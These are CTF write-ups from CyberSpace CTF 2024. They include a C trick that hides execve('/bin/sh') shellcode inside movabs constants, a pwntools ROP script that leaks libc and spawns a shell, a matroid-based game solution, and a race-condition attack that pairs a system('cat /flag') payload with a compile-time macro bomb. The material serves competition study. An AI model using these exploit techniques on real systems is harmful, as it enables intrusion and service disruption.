# **CyberSpace CTF 2024 Some Writeups**

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## No Parenthesis

I stole the idea from remov by ptr-yudai from SECCON CTF 2023 Finals.

TLDR: a movabs is so long that you can hide another instruction in it.

```
int main() {
    long long a = 0x6eb900068732fbb;
    a = 0x6eb909020e3c148;
    a = 0x6eb906e69622fb9;
    a = 0x6eb909090cb0148;
    a = 0x6eb90909090953;
    a = 0x6eb90909090954;
    a = 0x6eb9090909095f;
    a = 0x6eb909090905f;
    a = 0x6eb90909063148;
    a = 0x6eb90909003bb8;
    a = 0x6eb900000003bb8;
    a = 0x6eb9090909050f;
    goto *&main+5;
    return !a;
}
```

Explanation: Disassembly of the above looks like this:

```
      55
      push rbp

      48 89 e5
      mov rbp,rsp

      48 b8 bb 2f 73 68 00 90 eb 06
      movabs rax, 0×6eb900068732fbb mov QWORD PTR [rbp-0×8],rax

      48 b8 48 c1 e3 20 90 90 eb 06
      movabs rax, 0×6eb909020e3c148 mov QWORD PTR [rbp-0×8],rax

      48 b8 48 c1 e3 20 90 90 eb 06
      movabs rax, 0×6eb909020e3c148 mov QWORD PTR [rbp-0×8],rax
```

But if we ignore the first few bytes it becomes:

```
55 48 89 e5 48 b8
                                  (skipped)
bb 2f 73 68 00
                                  mov
                                         ebx, 0×68732f
90
                                  nop
eb 06
                                  jmp
                                         $+8
48 89 45 f8 48 b8
                                  (skipped by jmp)
48 c1 e3 20
                                  shl
                                         rbx, 0×20
90
                                  nop
90
                                  nop
eb 06
                                         $+8
                                  jmp
48 89 45 f8 48 b8
                                  (skipped by jmp)
```

Using this we can hide an entire execve("/bin/sh") shellcode inside a bunch of movabs.

# No Parenthesis Revenge

Ditto but replace goto with ROP (this version has -static so we know &main)

```
// the same a = ...; sequence
long long *b = &a;
b[3] = 0x401006;
```

## Game with Rin

#### \*intended\* solution

Always pick second. Then no matter what S is, pick  $T = [S_0, S_0]$ . This works because **check\_subset** does not actually check duplicate elements. The second player always wins because  $x \oplus x = 0$ .

Example interaction:

```
Rin> S = 1 2 3 4 5 6 7 8 69 420
You> T = 1 1
```

#### \*unintended\* solution

This is the unintended cheese solution.

The first player can win if and only if there is an edge set S such that:

- 0. S has |V| 1 elements
- 1. the edges in S don't form a cycle
- 2. no nonempty subset  $T\subseteq S$  has weights that XOR to 0

Note that XOR is just addition under  $\mathbb{F}_2$ , so 1. is equivalent to S being linearly independent when viewed as  $\mathbb{F}_2$  vectors.

Therefore, all the sets S that satisfy 1. form a <u>graphic matroid</u> over the edges. All the sets S that satisfy 2. form a <u>binary linear matroid</u> over the edges.

To check if the first player can win, just run your favorite <u>matroid intersection</u> algorithm (for example Cunningham's in  $O(|V|^{1.5} \times |\text{edges}|)$ ) and check if there's an independent set with size |V| - 1.

If the first player doesn't win then a basis in 1. would not be a basis in 2., so there is always a subset with XOR 0 and one can be trivially found.

## quantum

do not ask what i did; i do not know

#### silent-rop-v2

It looks like a classic ret2dlresolve but is not because of full RELRO. **stdout** is yeeted so we can't leak things, also we can't write GOT.

But anyways we can do a easy rop because there are way too many gadgets. We even have the almighty mov qword ptr [rsp + rdx], rdi.

Code and explanation:

```
import pwn
io = pwn.remote('silent-rop-v2.challs.csc.tf', 1337)
rop_payload = b''

# leak libc address from fclose@got.plt
rop_payload += pwn.p64(0x4011e2)  # pop rdx ; ret
rop_payload += pwn.p64(0x403fd8)
rop_payload += pwn.p64(0x4011e9)  # mov rdi, qword ptr [rdx] ; ret

# now we have a leak: rdi = libc base + 0×81dd0
rop_payload += pwn.p64(0x4011e2)  # pop rdx ; ret
rop_payload += pwn.p64(0x61d31)
rop_payload += pwn.p64(0x4011f6)  # add rdi, rdx ; ret
```

```
# now rdi = libc base + 0×e3b01
# 0×e3b01 is a one gadget with conditions r15 = 0 && rdx = 0

# prepare conditions for one gadget
rop_payload += pwn.p64(0x401292)  # pop r15; ret
rop_payload += pwn.p64(0x0)
rop_payload += pwn.p64(0x4011e2)  # pop rdx; ret
rop_payload += pwn.p64(0x0)

# now rdx is 0, so this will luckily place one gadget at the next stack location
rop_payload += pwn.p64(0x4011fa)  # mov qword ptr [rsp + rdx], rdi; ret

io.send(pwn.flat({0x18: rop_payload}))
io.sendline('cat /flag >&2')
io.interactive()
```

## buncom

Code is poorly implemented (yes i know this is a ctf). Race.

Open two terminal windows:

1. Spam requests with the code

```
main(){system("cat /flag");}
```

2. Spam requests with code that takes forever to compile, for example:

```
#define a "xxxxxxxxxxxx"
#define b a a a a a a a
#define c b b b b b b b
#define d c c c c c c c
#define e d d d d d d
#define f e e e e e e e
#define g f f f f f f f
#define h g g g g g g
#define i h h h h h h
#define j i i i i i i
z=j;
```

Then grep CSCTF and pray.